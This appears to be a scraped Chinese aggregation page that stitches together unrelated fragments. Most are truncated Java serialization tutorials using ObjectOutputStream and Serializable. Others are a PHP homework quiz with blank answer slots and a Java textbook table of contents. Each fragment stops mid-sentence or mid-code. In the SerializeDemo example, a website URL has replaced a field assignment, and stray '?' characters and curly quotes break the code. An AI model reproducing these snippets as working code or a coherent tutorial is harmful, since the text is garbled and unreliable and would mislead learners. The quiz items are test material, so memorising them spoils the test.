Java序列化的机制和原理 有关Java对象的序列化和反序列化也算是Java基础的一部分，下面对Java序列化的机制和原理进行一些介绍。 Java序列化算法透析 Serialization（序列化）是一种将对象以一连串的字节描述的过程；反序列化deserialization 是一种将这些字节重建成一个对象的过程。Java序列化API提供一种处理对象序列化的标准机制。在这里你能学到如何序列化一个对象，什么时候需要序列化以及Java序列化的算法，我们用一个实例来示范序列化以后的字节是如何描述一个对象的信息的。 序列化的必要性 Java中，一切都是对象，在分布式环境中经常需要将Object从这一端网络或设备传递到另一端。这就需要有一种可以在两端传输数据的协议。Java序列化机制就是为了解决这个问题而产生。 如何序列化一个对象 一个对象能够序列化的前提是实现Serializable接口，Serializable接口没有方法，更像是个标记。有了这个标记的Class就能被序列化机制处理。 1.import java.io.Serializable; 2. 3.class TestSerial implements Serializable { 4. 5.public byte version = 100; 6. 7.public byte count = 0; 8. 9.} 然后我们写个程序将对象序列化并输出。ObjectOutputStream能把Object输出成Byte 流。我们将Byte流暂时存储到temp.out文件里。 1.public static void main(String args[]) throws IOException { 2. 3. FileOutputStream fos = new FileOutputStream("temp.out "); 4. 5. ObjectOutputStream oos = new ObjectOutputStream(fos); 6. 7. TestSerial ts = new TestSerial();
北语19春《PHP》作业2
(单选题)1: 以下PHP代码的运行结果是（）。 <?php ob_start(); for($i=0;$i<10;$i++){ echo $i; } $output = ob_get_contents(); ob_end_clean(); echo $ouput; ?> A: 12345678910 B: 1234567890 C: 0123456789 D: Notice提示信息 标准答题: (单选题)2: 关于exit与die语句结构的说法正确的是（）。 A: exit语句结构执行会停止执行下面的脚本，而die无法做到 B: die语句结构执行会停止执行下面的脚本，而exit无法做到 C: die语句结构等价于exit语句结构 D: die语句结构与exit语句结构没有直接的关系 标准答题: (单选题)3: 以下哪个选项是把整型变量$a的值乘以4（） A: $a*=pow(2,2) B: $a+=4 C: $a%=4 D: $a-=4 标准答题: (单选题)4: 详细阅读下面的FORM 表单和PHP代码。当在表单里面的两个文本框分别输入’php’和’great’的时候，PHP代码将在页面中打印出什么？（） <form action=’index.php’ method=’post’> <input type=’text’ name=’element[]’> <input type=’text’ name=’element[]’> <input type=’submit’ value=’提交’> </form> Index.php 代码如下： <?php if( A: 什么都没有 B: Aarry C: 一个提示 D: phpgreat
java序列化的作用
1、序列化是干什么的？ 简单说就是为了保存在内存中的各种对象的状态（也就是实例变量，不是方法），并且可以把保存的对象状态再读出来。虽然你可以用你自己的各种各样的方法来保存object states，但是Java给你提供一种应该比你自己好的保存对象状态的机制，那就是序列化。 2、什么情况下需要序列化 a）当你想把的内存中的对象状态保存到一个文件中或者数据库中时候； b）当你想用套接字在网络上传送对象的时候； c）当你想通过RMI传输对象的时候； 3、当对一个对象实现序列化时，究竟发生了什么？ 在没有序列化前，每个保存在堆（Heap）中的对象都有相应的状态（state），即实例变量（instance ariable）比如： java 代码 1.Foo myFoo = new Foo(); 2.myFoo .setWidth(37); 3.myFoo.setHeight(70); 当通过下面的代码序列化之后，MyFoo对象中的width和Height实例变量的值（3 7，70）都被保存到foo.ser文件中，这样以后又可以把它从文件中读出来，重新在堆中创建原来的对象。当然保存时候不仅仅是保存对象的实例变量的值，JVM还要保存一些小量信息，比如类的类型等以便恢复原来的对象。 java 代码 1.FileOutputStream fs = new FileOutputStream("foo.ser"); 2.ObjectOutputStream os = new ObjectOutputStream(fs); 3.os.writeObject(myFoo); 4、实现序列化（保存到一个文件）的步骤 a）Make a FileOutputStream
Java对象的序列化和反序列化实践
Java对象的序列化和反序列化实践 当两个进程在进行远程通信时，彼此可以发送各种类型的数据。无论是何种类型的数据，都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列，才能在网络上传送；接收方则需要把字节序列再恢复为Java对象。 把Java对象转换为字节序列的过程称为对象的序列化。 把字节序列恢复为Java对象的过程称为对象的反序列化。 对象的序列化主要有两种用途： 1）把对象的字节序列永久地保存到硬盘上，通常存放在一个文件中； 2）在网络上传送对象的字节序列。 一．JDK类库中的序列化API java.io.ObjectOutputStream代表对象输出流，它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化，把得到的字节序列写到一个目标输出流中。 java.io.ObjectInputStream代表对象输入流，它的readObject()方法从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回。、 只有实现了Serializable和Externalizable接口的类的对象才能被序列化。Externalizable接口继承自Serializable接口，实现Externalizable接口的类完全由自身来控制序列化的行为，而仅实现Serializable接口的类可以采用默认的序列化方式。 对象序列化包括如下步骤： 1）创建一个对象输出流，它可以包装一个其他类型的目标输出流，如文件输出流； 2）通过对象输出流的writeObject()方法写对象。 对象反序列化的步骤如下： 1）创建一个对象输入流，它可以包装一个其他类型的源输入流，如文件输入流；
《JAVA面向对象编程》([PDF] 孙卫琴著)
《JAVA面向对象编程》[PDF] 孙卫琴著 【目录】 第1章面向对象开发方法概述 1 1.1 结构化的软件开发方法简介3 1.2 面向对象的软件开发方法简介5 1.2.1 对象模型6 1.2.2 UML：可视化建模语言6 1.2.3 Rational Rose：可视化建模工具7 1.3 面向对象开发中的核心思想和概念7 1.3.1 问题领域、对象、属性、状态、行为、方法、实现7 1.3.2 类、类型9 1.3.3 消息、服务10 1.3.4 接口11 1.3.5 封装、透明12 1.3.6 抽象16 1.3.7 继承、扩展、覆盖17 1.3.8 组合19 1.3.9 多态、动态绑定22 1.4 UML语言简介24 1.4.1 用例图24 1.4.2 类框图25 1.4.3 时序图26 1.4.4 协作图27 1.4.5 状态转换图27 1.4.6 组件图28 1.4.7 部署图29 1.5 类之间的关系29 1.5.1 关联（Association）29 1.5.2 依赖（Dependency）31 1.5.3 聚集（Aggregation）31 1.5.4 泛化（Generalization）32 1.5.5 实现（Realization）32 1.5.6 区分依赖、关联和聚集关系33 1.6 实现Panel系统35 1.6.1 扩展Panel系统37 1.6.2 用配置文件进一步提高Panel系统的可维护性39 1.6.3 运行Panel系统40 1.7 小结41 1.8 思考题42 第2章第一个Java应用43 2.1 创建Java源文件43 2.1.1 Java源文件结构44
java序列化对象的方法
java序列化对象的方法 我们为大家收集整理了关于java序列化对象，以方便大家参考。ObjectOutputStream ?类用来序列化一个对象，如下的SerializeDemo例子实例化了一个Employee对象，并将该对象序列化到一个文件中。 ?该程序执行后，就创建了一个名为employee.ser文件。该程序没有任何输出，但是你可以通过代码研读来理解程序的作用。 ?注意： ?当序列化一个对象到文件时，按照Java的标准约定是给文件一个.ser扩展名。 ?import java.io.*;public class SerializeDemo{ public static void main(String ?[] args) { Employee e = new Employee(); https://www.360docs.net/doc/2711915331.html, = “Reyan Ali”; e.address = “Phokka Kuan, Ambehta Peer”; e.SSN = 11122333; e.number = ?101; try { FileOutputStream fileOut = new ?FileOutputStream(“/tmp/employee.ser”); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(e); out.close(); ?fileOut.close(); System.out.printf(“Serialized data is saved in ?/tmp/employee.ser”); }catch(IOException i) { i.printStackTrace(); } }} ?希望大家学业有成，工作顺利 ?